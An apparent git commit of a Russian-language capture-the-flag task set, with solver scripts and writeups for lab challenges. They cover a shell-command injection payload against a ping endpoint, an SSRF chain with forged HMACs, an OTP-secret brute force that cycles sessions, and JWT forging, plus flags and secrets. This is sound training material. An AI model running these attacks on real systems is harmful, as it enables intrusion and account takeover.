Init. import

This commit is contained in:
Caplag
2025-12-22 05:19:38 +03:00
commit 39a4c5e8ca
58 changed files with 3063 additions and 0 deletions

152
GAME/camera/solve_camera.py Normal file
View File

@@ -0,0 +1,152 @@
#!/usr/bin/env python3
import argparse
import hashlib
import http.cookiejar
import os
import re
import sys
from typing import Optional, Tuple
from urllib import parse, request
def sha1_hex(value: str) -> str:
return hashlib.sha1(value.encode("utf-8")).hexdigest()
def normalize_base(raw: str) -> str:
if "://" not in raw:
raw = "http://" + raw
return raw.rstrip("/")
def read_part_a(cli_value: Optional[str]) -> Optional[str]:
if cli_value:
return cli_value
env_value = os.getenv("PWD_PART_A")
if env_value:
return env_value
candidates = [
os.path.join(os.getcwd(), "web_camera_5.yml"),
os.path.join(os.path.dirname(__file__), "web_camera_5.yml"),
]
for path in candidates:
if not os.path.exists(path):
continue
try:
data = open(path, "r", encoding="utf-8", errors="ignore").read()
except OSError:
continue
match = re.search(r"PWD_PART_A=([^\s]+)", data)
if match:
return match.group(1)
return None
def get_uid(opener: request.OpenerDirector, base: str) -> Optional[str]:
resp = opener.open(base + "/login")
uid = resp.headers.get("X-Device-Id")
if uid:
return uid.strip()
body = resp.read().decode("utf-8", errors="ignore")
match = re.search(r"UID:\s*([A-Za-z0-9_-]+)", body)
return match.group(1) if match else None
def has_cookie(cj: http.cookiejar.CookieJar, name: str) -> bool:
return any(cookie.name == name for cookie in cj)
def login(
opener: request.OpenerDirector,
cj: http.cookiejar.CookieJar,
base: str,
uid: str,
part_a: str,
) -> str:
password = sha1_hex(f"{part_a}:{uid}")[:10]
data = parse.urlencode({"username": "admin", "password": password}).encode("utf-8")
req = request.Request(base + "/login", data=data, method="POST")
opener.open(req).read()
if not has_cookie(cj, "sid"):
raise RuntimeError("login failed: no session cookie")
return password
def find_flag(text: str) -> Optional[str]:
match = re.search(r"caplag\{[^}]+\}[^\s<]*", text)
return match.group(0) if match else None
def exploit_ping(
opener: request.OpenerDirector,
base: str,
) -> Tuple[Optional[str], Optional[str], str]:
payload = "127.0.0.1; echo RCE:$CAMERA_RCE_FLAG; echo PARTC:$PWD_PART_C"
data = parse.urlencode({"host": payload}).encode("utf-8")
req = request.Request(base + "/admin/tools/ping", data=data, method="POST")
text = opener.open(req).read().decode("utf-8", errors="ignore")
rce_match = re.search(r"RCE:([^\s<]+)", text)
partc_match = re.search(r"PARTC:([^\s<]+)", text)
rce_flag = rce_match.group(1) if rce_match else find_flag(text)
part_c = partc_match.group(1) if partc_match else None
return rce_flag, part_c, text
def redeem_flag(
opener: request.OpenerDirector,
base: str,
part_a: str,
part_c: str,
uid: str,
) -> Tuple[str, Optional[str]]:
key = sha1_hex(f"{part_a}:{part_c}:{uid}")[:16]
data = parse.urlencode({"key": key}).encode("utf-8")
req = request.Request(base + "/admin/redeem", data=data, method="POST")
text = opener.open(req).read().decode("utf-8", errors="ignore")
return key, find_flag(text)
def main() -> int:
parser = argparse.ArgumentParser(description="Solve LookyCam challenge.")
parser.add_argument("--url", default="http://127.0.0.1:8070", help="Base URL")
parser.add_argument("--part-a", dest="part_a", help="PWD_PART_A value")
args = parser.parse_args()
base = normalize_base(args.url)
part_a = read_part_a(args.part_a)
if not part_a:
print("PWD_PART_A not provided and not found in web_camera_5.yml", file=sys.stderr)
return 2
cj = http.cookiejar.CookieJar()
opener = request.build_opener(request.HTTPCookieProcessor(cj))
uid = get_uid(opener, base)
if not uid:
print("Failed to determine CAMERA_UID from /login", file=sys.stderr)
return 2
try:
password = login(opener, cj, base, uid, part_a)
except RuntimeError as exc:
print(str(exc), file=sys.stderr)
return 2
rce_flag, part_c, _ = exploit_ping(opener, base)
if not part_c:
print("Failed to extract PWD_PART_C via ping injection", file=sys.stderr)
return 2
key, final_flag = redeem_flag(opener, base, part_a, part_c, uid)
print(f"uid: {uid}")
print(f"login_password: {password}")
print(f"rce_flag: {rce_flag or 'not found'}")
print(f"part_c: {part_c}")
print(f"redeem_key: {key}")
print(f"final_flag: {final_flag or 'not found'}")
return 0
if __name__ == "__main__":
raise SystemExit(main())

53
GAME/camera/writeup.md Normal file
View File

@@ -0,0 +1,53 @@
# Writeup: LookyCam (camera)
Ниже — ожидаемый путь решения: добыть UID, вычислить пароль администратора по подсказанной KDF, получить RCE через ping и собрать финальный ключ.
## Шаги решения
1. PWD_PART_A -получили из стеги в хранилище
1. Открыть `/login` и получить `CAMERA_UID`. Он приходит в заголовке `X-Device-Id` и дублируется на странице.
2. Сымитировать 3 неудачных логина. После третьей попытки сервер вернёт заголовок `X-Password-KDF` с формулой:
`sha1(part + ":" + uid)[0:10]`.
3. Подставить известную часть `partA` и посчитать пароль:
`password = sha1(partA:uid)[:10]`.
4. Войти в `/admin` под `admin` с этим паролем и получить сессию.
5. В `/admin/tools/ping` есть command injection: значение `host` без фильтрации попадает в `sh -lc "ping ... ${host}"`.
Через `;` можно выполнить произвольные команды и прочитать переменные окружения:
`127.0.0.1; echo RCE:$CAMERA_RCE_FLAG; echo PARTC:$PWD_PART_C`
6. Из ответа взять `PWD_PART_C` и флаг RCE.
7. Посчитать ключ для `/admin/redeem`:
`key = sha1(partA:partC:uid)[:16]`.
8. Отправить ключ в `/admin/redeem` и получить финальный флаг.
## Примеры запросов
```bash
# 1) UID
curl -i http://<host>/login
# 2) 3 фейл-логина, смотрим X-Password-KDF в ответе
curl -i -d "username=admin&password=bad" http://<host>/login
# 3) Логин с правильным паролем
curl -i -c cookies.txt -d "username=admin&password=<calc>" http://<host>/login
# 4) Инъекция в ping
curl -i -b cookies.txt -d "host=127.0.0.1; echo RCE:\$CAMERA_RCE_FLAG; echo PARTC:\$PWD_PART_C" \
http://<host>/admin/tools/ping
# 5) Редим финального флага
curl -i -b cookies.txt -d "key=<calc>" http://<host>/admin/redeem
```
```python
import hashlib
def sha1(x: str) -> str:
return hashlib.sha1(x.encode()).hexdigest()
uid = "LCAM-9f31"
part_a = "..."
part_c = "..."
password = sha1(f"{part_a}:{uid}")[:10]
key = sha1(f"{part_a}:{part_c}:{uid}")[:16]
print(password, key)
```

18
GAME/kettle/solve.sh Normal file
View File

@@ -0,0 +1,18 @@
#!/usr/bin/env bash
# Параметры из деплоя
PROOF="printer-proof-3d3130"
NONCE="kettle-nonce-74c1"
URL="https://printer.caplag-task.ru/go?u=https://nas.caplag-task.ru/internal/hint"
# Метка времени (секунды)
TS=$(date +%s)
# MAC = HMAC-SHA256(key=PROOF:NONCE, msg="URL\nTS")
KEY="${PROOF}:${NONCE}"
MAC=$(printf "%s\n%s" "$URL" "$TS" | openssl dgst -sha256 -hmac "$KEY" -hex | awk '{print $2}')
echo $MAC
echo $TS
# Запрос
curl -X POST -i "https://kettle.caplag-task.ru/diagnostics/fetch" \
-H "Content-Type: application/json" \
-d "{\"proof\":\"$PROOF\",\"ts\":\"$TS\",\"mac\":\"$MAC\",\"url\":\"$URL\"}"

55
GAME/kettle/writeup.md Normal file
View File

@@ -0,0 +1,55 @@
# Разбор решения задачи Kettle
Разбор для участников (с учётом: PROOF уже есть из «принтера», исходники найдены на GitHub).
## Ключевая логика из исходников
- В `files/server.js` видно, что `/diagnostics` отдаёт `X-Device-ID` — это `KETTLE_NONCE`. В UI показываются только последние 4 символа, поэтому полный nonce берём из заголовка ответа.
- `/diagnostics/fetch` принимает JSON с `proof`, `ts`, `mac`, `url` и проверяет:
- `proof` должен совпасть с PRINTER_PROOF (у вас он уже есть из задания с принтером),
- `ts` — свежий (±300 сек),
- `mac` — HMAC-SHA256 по формуле: `key = PROOF:NONCE`, `msg = "URL\nTS"`.
- `url` должен начинаться с разрешённого хоста. В проде в whitelist попадают `printer...` и `nas...`, поэтому можно использовать «принтер» как стартовый хост и через него уйти на `nas/internal/hint`.
- Kettle делает запрос к NAS с нужными заголовками (`X-Shared-Key` и пр.), поэтому прямой доступ извне обычно не работает — нужен именно прокси через kettle.
## Практический путь
1) Узнать nonce из заголовка:
```bash
curl -i https://kettle.caplag-task.ru/diagnostics | rg -i x-device-id
```
2) Собрать URL на «принтер» с редиректом на NAS:
```
https://printer.caplag-task.ru/go?u=https://nas.caplag-task.ru/internal/hint
```
3) где PRINTER_PROOF=PROOF который получили на прошлом таске( как понять что нужен пруф принтера, по дефолтной ссылке диагностики)
4) Посчитать подпись и отправить запрос:
```bash
PROOF="printer-proof-3d3130"
NONCE="kettle-nonce-74c1"
URL="https://printer.caplag-task.ru/go?u=https://nas.caplag-task.ru/internal/hint"
TS=$(date +%s)
KEY="${PROOF}:${NONCE}"
MAC=$(printf "%s\n%s" "$URL" "$TS" | openssl dgst -sha256 -hmac "$KEY" -hex | awk '{print $2}')
curl -X POST -i "https://kettle.caplag-task.ru/diagnostics/fetch" \
-H "Content-Type: application/json" \
-d "{\"proof\":\"$PROOF\",\"ts\":\"$TS\",\"mac\":\"$MAC\",\"url\":\"$URL\"}"
```
В ответ так же получаем:
заголовки:
X-Kettle-Proof: kettle-proof-90fa
тело:
caplag{chain_electric_kettle_ssrf_g1ve_acce$_to_the_nas}
JWT_SECRET_XOR_HEX=de223a4935e307f1982a486b14958da5d93f3d5337
game_code=ooooooyeeeeah_we_have_got_SuperAdmin_account_to_nas

317
GAME/narod/solver.py Normal file
View File

@@ -0,0 +1,317 @@
#!/usr/bin/env python3
import argparse
import base64
import hashlib
import hmac
import http.cookiejar
import json
import re
import ssl
import struct
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
BASE32_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
def read_target_file(path):
url = None
parta = None
user = None
try:
with open(path, "r", encoding="utf-8") as fh:
for raw in fh:
line = raw.strip()
if not line or line.startswith("#"):
continue
if "=" in line:
key, value = line.split("=", 1)
key = key.strip().lower()
value = value.strip()
if key in ("url", "target", "host"):
url = value
elif key in ("parta", "pwd_part_a", "pwda", "a"):
parta = value
elif key in ("user", "username", "narod_user"):
user = value
else:
if url is None:
url = line
elif parta is None:
parta = line
elif user is None:
user = line
except FileNotFoundError:
return None, None, None
return url, parta, user
def normalize_base(url):
url = (url or "").strip()
if not url:
return ""
if not re.match(r"^https?://", url, re.IGNORECASE):
url = "http://" + url
return url.rstrip("/")
def make_opener(jar, insecure=False):
handlers = [urllib.request.HTTPCookieProcessor(jar)]
if insecure:
ctx = ssl._create_unverified_context()
handlers.append(urllib.request.HTTPSHandler(context=ctx))
return urllib.request.build_opener(*handlers)
def http_request(opener, method, url, data=None, headers=None, timeout=10):
headers = dict(headers or {})
body = None
if data is not None:
if isinstance(data, dict):
body = urllib.parse.urlencode(data).encode("utf-8")
headers.setdefault("Content-Type", "application/x-www-form-urlencoded")
elif isinstance(data, (bytes, bytearray)):
body = data
else:
body = str(data).encode("utf-8")
req = urllib.request.Request(url, data=body, headers=headers, method=method)
try:
with opener.open(req, timeout=timeout) as resp:
return resp.getcode(), resp.headers, resp.read()
except urllib.error.HTTPError as exc:
return exc.code, exc.headers, exc.read()
def extract_username(html_text):
m = re.search(r'name="username"[^>]*placeholder="([^"]+)"', html_text, re.IGNORECASE)
return m.group(1) if m else None
def extract_pepper_xor_hex(map_text):
try:
data = json.loads(map_text)
except json.JSONDecodeError:
return None
for src in data.get("sourcesContent", []):
m = re.search(r'pepper_xor_hex\s*=\s*"([0-9a-fA-F]+)"', src)
if m:
return m.group(1).lower()
return None
def derive_part_b(user, pepper_xor_hex):
mask = hashlib.sha1(user.encode("utf-8")).digest()[:6]
pepper_bytes = bytes.fromhex(pepper_xor_hex)
out = bytes(pepper_bytes[i] ^ mask[i % len(mask)] for i in range(len(pepper_bytes)))
return out.decode("utf-8", errors="replace")
def derive_pass(parta, partb):
material = f"{parta}:{partb}".encode("utf-8")
return hashlib.sha1(material).hexdigest()[:12]
def trusted_headers(pass_hash):
ts = str(int(time.time()))
sig = hmac.new(pass_hash.encode("utf-8"), ts.encode("utf-8"), hashlib.sha1).hexdigest()
return {"X-TS": ts, "X-Trusted-Device": sig}
def base32_decode(secret_b32):
secret = re.sub(r"[^A-Z2-7]", "", secret_b32.upper())
pad = "=" * ((8 - (len(secret) % 8)) % 8)
return base64.b32decode(secret + pad, casefold=True)
def hotp(secret_bytes, counter):
msg = struct.pack(">Q", counter)
digest = hmac.new(secret_bytes, msg, hashlib.sha1).digest()
offset = digest[-1] & 0x0F
code = struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7FFFFFFF
return f"{code % 1_000_000:06d}"
def totp(secret_b32, timestamp, step=30):
key = base32_decode(secret_b32)
counter = int(timestamp // step)
return hotp(key, counter)
def fetch_server_offset(opener, base_url):
status_url = base_url + "/__status__"
code, _, body = http_request(opener, "GET", status_url)
if code != 200:
return 0.0
try:
data = json.loads(body.decode("utf-8"))
server_ms = float(data.get("now", 0))
if server_ms:
return (server_ms / 1000.0) - time.time()
except (ValueError, json.JSONDecodeError):
pass
return 0.0
def login(opener, base_url, user, password, trusted=False):
headers = {}
if trusted:
headers.update(trusted_headers(password))
data = {"username": user, "password": password}
return http_request(opener, "POST", base_url + "/login", data=data, headers=headers)
def get_masked_secret(opener, base_url):
headers = {"Referer": base_url + "/profile"}
code, _, body = http_request(
opener,
"GET",
base_url + "/profile/export?fmt=ini",
headers=headers,
)
if code != 200:
return None
text = body.decode("utf-8", errors="replace")
m = re.search(r"otp_secret=([A-Z2-7?]+)", text)
return m.group(1) if m else None
def iter_candidates(masked_secret):
if not masked_secret or not masked_secret.endswith("??"):
return
prefix = masked_secret[:-2].upper()
for a in BASE32_ALPHABET:
for b in BASE32_ALPHABET:
yield prefix + a + b
def mfa_attempt(opener, base_url, otp_code):
code, _, body = http_request(
opener,
"POST",
base_url + "/mfa",
data={"otp": otp_code},
)
if code == 200 and b"/wallet" in body:
return True
return False
def fetch_flag(opener, base_url):
code, _, body = http_request(opener, "GET", base_url + "/wallet/drain")
if code != 200:
return None, None
text = body.decode("utf-8", errors="replace")
flag = None
game_code = None
m_flag = re.search(r"flag\{[^}]+\}", text)
if m_flag:
flag = m_flag.group(0)
m_code = re.search(r"game_code:[a-z0-9_:-]+", text)
if m_code:
game_code = m_code.group(0)
return flag, game_code
def main():
parser = argparse.ArgumentParser(description="NarodUslugi solver")
parser.add_argument("--target-file", default="target.txt", help="File with target URL (default: target.txt)")
parser.add_argument("--url", help="Base URL, e.g. http://host:7000")
parser.add_argument("--parta", help="PWD_PART_A value")
parser.add_argument("--user", help="Override username")
parser.add_argument("--insecure", action="store_true", help="Disable TLS verification")
parser.add_argument("--max-per-session", type=int, default=80, help="Max OTP attempts per session")
args = parser.parse_args()
file_url, file_parta, file_user = read_target_file(args.target_file)
base_url = normalize_base(args.url or file_url)
parta = args.parta or file_parta
user = args.user or file_user
if not base_url:
print("Missing target URL. Provide --url or create target.txt.", file=sys.stderr)
sys.exit(1)
jar = http.cookiejar.CookieJar()
opener = make_opener(jar, insecure=args.insecure)
code, _, body = http_request(opener, "GET", base_url + "/")
if code != 200:
print(f"Failed to load login page: {code}", file=sys.stderr)
sys.exit(1)
html = body.decode("utf-8", errors="replace")
if not user:
user = extract_username(html)
if not user:
print("Failed to detect username; pass --user or add to target file.", file=sys.stderr)
sys.exit(1)
code, _, body = http_request(opener, "GET", base_url + "/assets/app.js.map")
if code != 200:
print(f"Failed to fetch sourcemap: {code}", file=sys.stderr)
sys.exit(1)
pepper_xor_hex = extract_pepper_xor_hex(body.decode("utf-8", errors="replace"))
if not pepper_xor_hex:
print("Failed to extract pepper_xor_hex from sourcemap.", file=sys.stderr)
sys.exit(1)
partb = derive_part_b(user, pepper_xor_hex)
if not parta:
print("Missing PWD_PART_A; pass --parta or add to target file.", file=sys.stderr)
sys.exit(1)
password = derive_pass(parta, partb)
# Trusted login to get masked OTP secret.
trusted_jar = http.cookiejar.CookieJar()
trusted_opener = make_opener(trusted_jar, insecure=args.insecure)
code, _, _ = login(trusted_opener, base_url, user, password, trusted=True)
if code == 429:
print("Trusted-device login blocked (active trust). Try later or from new IP.", file=sys.stderr)
sys.exit(1)
if code != 200:
print(f"Trusted-device login failed: {code}", file=sys.stderr)
sys.exit(1)
masked_secret = get_masked_secret(trusted_opener, base_url)
if not masked_secret:
print("Failed to retrieve masked OTP secret.", file=sys.stderr)
sys.exit(1)
offset = fetch_server_offset(opener, base_url)
attempts = 0
session_opener = None
for candidate in iter_candidates(masked_secret):
if session_opener is None or attempts >= args.max_per_session:
session_jar = http.cookiejar.CookieJar()
session_opener = make_opener(session_jar, insecure=args.insecure)
code, _, _ = login(session_opener, base_url, user, password, trusted=False)
if code != 200:
print(f"Login failed during brute-force: {code}", file=sys.stderr)
sys.exit(1)
attempts = 0
now = time.time() + offset
otp = totp(candidate, now)
if mfa_attempt(session_opener, base_url, otp):
flag, game_code = fetch_flag(session_opener, base_url)
print(f"user={user}")
print(f"pass={password}")
print(f"otp_secret={candidate}")
if flag:
print(flag)
if game_code:
print(game_code)
return
attempts += 1
print("OTP secret not found in search space.", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()

91
GAME/narod/writeup.md Normal file
View File

@@ -0,0 +1,91 @@
# NarodUslugi - полный разбор (пошагово)
Этот разбор объясняет, как устроен сервис и как решатель получает флаг.
Ссылки идут на локальные файлы задачи в этой директории.
## 1) Входные данные и их источники
- URL цели, partA и user можно читать из `target.txt` или передать через CLI.
- Поведение сервера описано в `files/server.js`.
- Логика решателя находится в `solver.py`.
- Значения окружения указаны в `web_naroduslugi_6.yml`.
## 2) Формула пароля (на сервере)
В `files/server.js` сервер считает пароль так:
- `PASS = sha1(f"{PWD_PART_A}:{PWD_PART_B}").hexdigest()[:12]`
`partA` у нас есть, но `partB` скрыт.
## 3) Где спрятан partB
Эндпоинт `/assets/app.js.map` отдает sourcemap со строкой:
- `pepper_xor_hex` (hex-строка)
Она вычисляется так:
- `pepper_xor_hex = xorHex(PWD_PART_B, sha1(user)[:6])`
Значит `partB` можно восстановить, если известен `user`.
## 4) Как восстановить partB
Шаги, которые делает `solver.py`:
1. `mask = sha1(user).digest()[:6]`
2. Преобразовать `pepper_xor_hex` в байты.
3. XOR-нуть каждый байт с `mask` (по кругу).
4. Декодировать результат как UTF-8 и получить `partB`.
После этого вычисляется пароль:
- `password = sha1(f"{partA}:{partB}").hexdigest()[:12]`
## 5) Trusted-device логин для доступа к экспорту профиля
Есть альтернативная авторизация, описанная в `/.well-known/`:
- Заголовки: `X-TS` и `X-Trusted-Device`
- `X-Trusted-Device = hex(hmac_sha1(pass, ts))`
- `ts` должен быть в окне 120 секунд
Если заголовки валидны, сессия помечается как `mfa=true`, но
`mfaOtp=false`. Это дает доступ к `/profile` и `/profile/export`.
## 6) Экспорт OTP-секрета отдается с маской
`/profile/export?fmt=ini` возвращает:
- `otp_secret` с заменой последних 2 base32-символов на `??`
Есть CSRF-проверка: нужен `Referer: /profile`.
Решатель выставляет этот заголовок.
## 7) Брут последних 2 base32-символов
Алфавит base32 длиной 32, значит всего 32 * 32 = 1024 вариантов.
Решатель перебирает все кандидаты:
1. Логинится обычным способом (без trusted заголовков).
2. Считает TOTP для кандидата.
3. POST на `/mfa` с `otp`.
4. При успехе открывает `/wallet` и `/wallet/drain`.
## 8) Синхронизация времени
Решатель читает `/__status__`, чтобы получить смещение времени сервера
и учитывать его при генерации TOTP (защита от дрейфа часов).
## 9) Получение флага
Если OTP верный, сессия получает `mfaOtp=true`, и `/wallet/drain`
возвращает флаг.
## 10) Важные ловушки
- Повторный trusted-логин во время активного окна доверия вызывает бан.
- Если trusted-сессия протухла без OTP, при следующем запросе будет бан.
- Решатель использует отдельные cookie-jar и лимит попыток на сессию.

View File

@@ -0,0 +1,18 @@
GameStegoAudio | Stego | Medium?
## Автор
instanc3:@instanc3
## Информация для участников
## Выдать участникам
Аудио файл: some_secret.wav
## Решение
1. Понять, что информация скрыта в правом канале → проверить распределение LSB по каналам/участкам.
2. Замечаем, что данные начинаются после ~1 с и идут через один.
3. Считать LSB правого канала с skip=1s, step=2, собрать в байты (MSB→LSB).
4. Увидеть заголовок STAG, прочитать длину и CRC, взять полезную нагрузку, zlib-decompress → получить caplag{...}.
## Флаг
`caplag{gam3_au1d0_st3g0_1s_d0n3}`

View File

@@ -0,0 +1,68 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import wave
import struct
import zlib
import numpy as np
SR = 44100
SKIP_SEC = 1.0
STEP = 2
IN_WAV = "some_secret.wav"
def read_wav_int16(path: str):
with wave.open(path, "rb") as wf:
assert wf.getnchannels() == 2
assert wf.getsampwidth() == 2
sr = wf.getframerate()
frames = wf.readframes(wf.getnframes())
arr = np.frombuffer(frames, dtype=np.int16).reshape(-1, 2)
return sr, arr
def bits_to_bytes_big_endian(bits: np.ndarray) -> bytes:
# Длина должна быть кратна 8
n = (bits.size + 7) // 8 * 8
if n != bits.size:
bits = np.pad(bits, (0, n - bits.size), constant_values=0)
by = np.packbits(bits.astype(np.uint8), bitorder='big').tobytes()
return by
def extract_header_and_length(right: np.ndarray, sr: int):
skip = int(sr * SKIP_SEC)
# Считываем первые 12 байт (заголовок: 4 + 4 + 4)
header_bits_count = 12 * 8
idxs = skip + np.arange(header_bits_count) * STEP
bits = (right[idxs] & 1).astype(np.uint8)
header = bits_to_bytes_big_endian(bits)
magic = header[:4]
if magic != b"STAG":
raise ValueError("Магия заголовка не совпала — это не тот контейнер.")
length = struct.unpack(">I", header[4:8])[0]
crc = struct.unpack(">I", header[8:12])[0]
return length, crc
def extract_all(sr: int, stereo: np.ndarray):
right = stereo[:, 1]
length, crc_expected = extract_header_and_length(right, sr)
total_bytes = 12 + length
total_bits = total_bytes * 8
skip = int(sr * SKIP_SEC)
idxs = skip + np.arange(total_bits) * STEP
bits = (right[idxs] & 1).astype(np.uint8)
data = bits_to_bytes_big_endian(bits)
header = data[:12]
payload = data[12:12+length]
crc_actual = zlib.crc32(payload) & 0xFFFFFFFF
if crc_actual != crc_expected:
raise ValueError("CRC не сошлась — данные повреждены или неверные параметры извлечения.")
flag = zlib.decompress(payload).decode("utf-8")
return flag
def main():
sr, stereo = read_wav_int16(IN_WAV)
flag = extract_all(sr, stereo)
print("[+] DATA [ ", flag, " ]")
if __name__ == "__main__":
main()

70
GAME/nas/writeup.md Normal file
View File

@@ -0,0 +1,70 @@
# Writeup для NAS (русская версия)
## Цель
Зайти в хранилище
## 1 Задание Посчитать пароль админа и войти
Пароль админа — первые 12 символов:
```
sha1(KETTLE_PROOF + ":" + PRINTER_PROOF) находим из исходников репозитория
Входим
```
Пример:
```python
import hashlib
admin_pass = hashlib.sha1(f"{KETTLE_PROOF}:{PRINTER_PROOF}".encode()).hexdigest()[:12]
print(admin_pass)
```
Логин: `/login` с:
```
username=admin
password=<admin_pass>
```
Сохраните cookie `sid` из ответа.
Получаем доступ к файлу .wav
Дальше решение из папки Stegano.
## 2 задание Сковать bearer JWT и забрать финальный флаг
`/admin/flag` требует:
- cookie `sid` (админская сессия)
- `Authorization: Bearer <jwt>`
Ограничения на payload:
- `role: "admin"`
- `kpf: <KETTLE_PROOF>`
- `aud: "nas-admin"`
- `iat`: текущее UNIXвремя (допуск примерно ±120 сек)
Пример:
```python
import time, jwt
payload = {
"role": "admin",
"kpf": KETTLE_PROOF,
"aud": "nas-admin",
"iat": int(time.time()),
}
token = jwt.encode(payload, JWT_SECRET, algorithm="HS256")
print(token)
```
Запрос:
```
GET /admin/flag
Cookie: sid=<sid>
Authorization: Bearer <token>
```
В ответе — финальный флаг.

433
GAME/osint/gen.py Normal file
View File

@@ -0,0 +1,433 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
forge_repo_staging.py — генерирует публичный репозиторий с 500+ коммитами.
Строка mesh: "OH-21B4" и base64-флаг встречаются РОВНО в одном коммите ветки
`staging/router-mesh`. В main их нет (ветка смёржена через --squash).
Можно сразу запушить: python3 forge_repo_staging.py --push <git-url>
Или задать автора: --author-name "Имя" --author-email you@example.com
"""
import os, sys, json, random, subprocess, shutil, argparse, base64, re
from datetime import datetime, timedelta, timezone
# -------- параметры по умолчанию --------
REPO_NAME = "iot-suite-repo-mega-fixed"
BRANCH_SECRET = "staging/router-mesh"
FEATURE_BRANCHES = [
("feature/ui-polish", 6),
("hotfix/diag-timeout", 3),
("refactor/router-cfg", 5),
]
MAIN_COMMITS = 520 # шумовых коммитов в main
TIME_START = datetime(2023, 3, 1, 10, 0, tzinfo=timezone(timedelta(hours=1)))
STEP_MAIN = timedelta(hours=6)
STEP_BRANCH = timedelta(hours=2)
AUTHORS_DEFAULT = [
("Natalie Orlov", "natalie@orbital.home"),
("Anton Lebedev", "anton@orbital.home"),
("Nina Petrova", "nina@orbital.home"),
("Mark Isaev", "mark@orbital.home"),
("QA Bot", "qa-bot@orbital.home"),
]
NOISE_MESSAGES = [
"docs: update changelog", "chore: reformat", "ci: bump node action",
"router: refactor logger", "kettle: tweak diag", "nas: session cleanup",
"printer: queue cosmetics", "deps: bump ejs", "deps: bump express",
"test: deflake", "build: docker cache", "perf: micro-opt",
"style: trailing space", "docs: badges",
]
FLAG_PLAINTEXT = "caplag{Orb1ta1-h0me-vendor-found-needed-branch-version}"
FLAG_B64 = base64.b64encode(FLAG_PLAINTEXT.encode()).decode()
def sh(args, cwd=None, env=None):
return subprocess.run(args, cwd=cwd, env=env, check=True,
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout.strip()
def write(path, content, binary=False):
os.makedirs(os.path.dirname(path), exist_ok=True)
mode = "wb" if (binary or isinstance(content, (bytes, bytearray))) else "w"
with open(path, mode, encoding=None if mode=="wb" else "utf-8") as f:
f.write(content)
BASE_README = """# Orbital Home — IoT Suite (public)
Публичная версия кодовой базы для демонстраций: Router, Printer, Kettle, NAS.
Документация и закрытые части вырезаны.
"""
# ---------------- router (публичный минимальный) ----------------
ROUTER_SERVER = """import express from 'express';
import fs from 'fs';
import path from 'path';
import { fileURLToPath } from 'url';
const __dirname = path.dirname(fileURLToPath(import.meta.url));
const app = express();
const PORT = process.env.PORT || 8085;
const cfgPath = path.join(__dirname, 'config', 'router.json');
let cfg = JSON.parse(fs.readFileSync(cfgPath, 'utf-8'));
app.get('/info_connection', (req,res)=>{
res.json({ devices: [
{ name:'Printer', model:'PRN-3130', vendor: cfg.vendor, mesh: cfg.mesh, url: 'http://printer.local' },
{ name:'Kettle', model:'KTL-74C1', vendor: cfg.vendor, mesh: cfg.mesh, url: 'http://kettle.local' },
{ name:'NAS', model:'NAS-220', vendor: cfg.vendor, mesh: cfg.mesh, url: 'http://nas.local' }
]});
});
app.get('/', (req,res)=> res.type('text/plain').send('Router UI (public build)'));
app.listen(PORT, ()=> console.log(`[router-public] listening on ${PORT}`));
"""
ROUTER_PKG = {
"name":"router-public","version":"0.3.0","type":"module",
"scripts":{"start":"node server.js"},
"dependencies":{"express":"^4.19.2"}
}
# ---------------- printer (замаскированный) ----------------
PRINTER_SERVER_PUBLIC = """import express from 'express';
import fs from 'fs';
import path from 'path';
import { fileURLToPath } from 'url';
const __dirname = path.dirname(fileURLToPath(import.meta.url));
const app = express();
const PORT = process.env.PORT || 8080;
const QUEUE_DIR = path.join(__dirname, 'data', 'queue');
// <redacted>: private build may include additional endpoints and auth
app.get('/', (req,res)=> res.type('text/plain').send('Printer UI (public build)'));
app.get('/jobs/preview', (req,res)=>{
const name = String(req.query.file||'').replace(/\\\\/g,'/');
if (!name || name.includes('..') || path.isAbsolute(name)) return res.status(400).send('bad path');
const abs = path.join(QUEUE_DIR, path.normalize(name));
if (!abs.startsWith(QUEUE_DIR)) return res.status(400).send('bad path');
if (!fs.existsSync(abs)) return res.status(404).send('not found');
fs.createReadStream(abs).pipe(res);
});
app.get('/go', (req,res)=>{
const u = String(req.query.u||'');
if (/^https?:\\/\\//i.test(u)) return res.redirect(302,u);
res.redirect('/');
});
app.get('/robots.txt', (req,res)=> res.type('text/plain').send('User-agent: *\\nDisallow:\\n'));
app.listen(PORT, ()=> console.log(`[printer-public] listening on ${PORT}`));
"""
PRINTER_PKG_PUBLIC = {
"name":"printer-public","version":"0.3.0","type":"module",
"scripts":{"start":"node server.js"},
"dependencies":{"express":"^4.19.2"}
}
# ---------------- kettle (замаскированный) ----------------
KETTLE_SERVER_PUBLIC = """import express from 'express';
import path from 'path';
import { fileURLToPath } from 'url';
// import axios from 'axios'; // <redacted>
// import crypto from 'crypto'; // <redacted>
// const PRINTER_PROOF = process.env.PRINTER_PROOF; // <redacted>
// const KETTLE_NONCE = process.env.KETTLE_NONCE; // <redacted>
// const KETTLE_SHARED_KEY = process.env.KETTLE_SHARED_KEY; // <redacted>
const __dirname = path.dirname(fileURLToPath(import.meta.url));
const app = express();
const PORT = process.env.PORT || 8081;
app.get('/', (req,res)=> res.redirect('/diagnostics'));
app.get('/diagnostics', (req,res)=>{
// In private build this page exposes limited device info and triggers telemetry.
res.type('text/plain').send('Kettle diagnostics (public build)');
});
app.post('/diagnostics/fetch', (req,res)=>{
// <redacted>: route-signature-based fetch via internal gateway
// key = (PRINTER_PROOF + ":" + KETTLE_NONCE).encode()
//mac = hmac.new(key, (url + '\n' + ts).encode(), hashlib.sha256).hexdigest()
res.status(501).type('text/plain').send('disabled in public build');
});
app.get('/assets/badge.svg', (req,res)=>{
res.type('image/svg+xml').send('<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20"><circle cx="10" cy="10" r="7" fill="#5c7cfa"/></svg>');
});
app.listen(PORT, ()=> console.log(`[kettle-public] listening on ${PORT}`));
"""
KETTLE_PKG_PUBLIC = {
"name":"kettle-public","version":"0.3.0","type":"module",
"scripts":{"start":"node server.js"},
"dependencies":{"express":"^4.19.2"}
}
# ---------------- nas (замаскированный) ----------------
NAS_SERVER_PUBLIC = """import express from 'express';
import path from 'path';
import { fileURLToPath } from 'url';
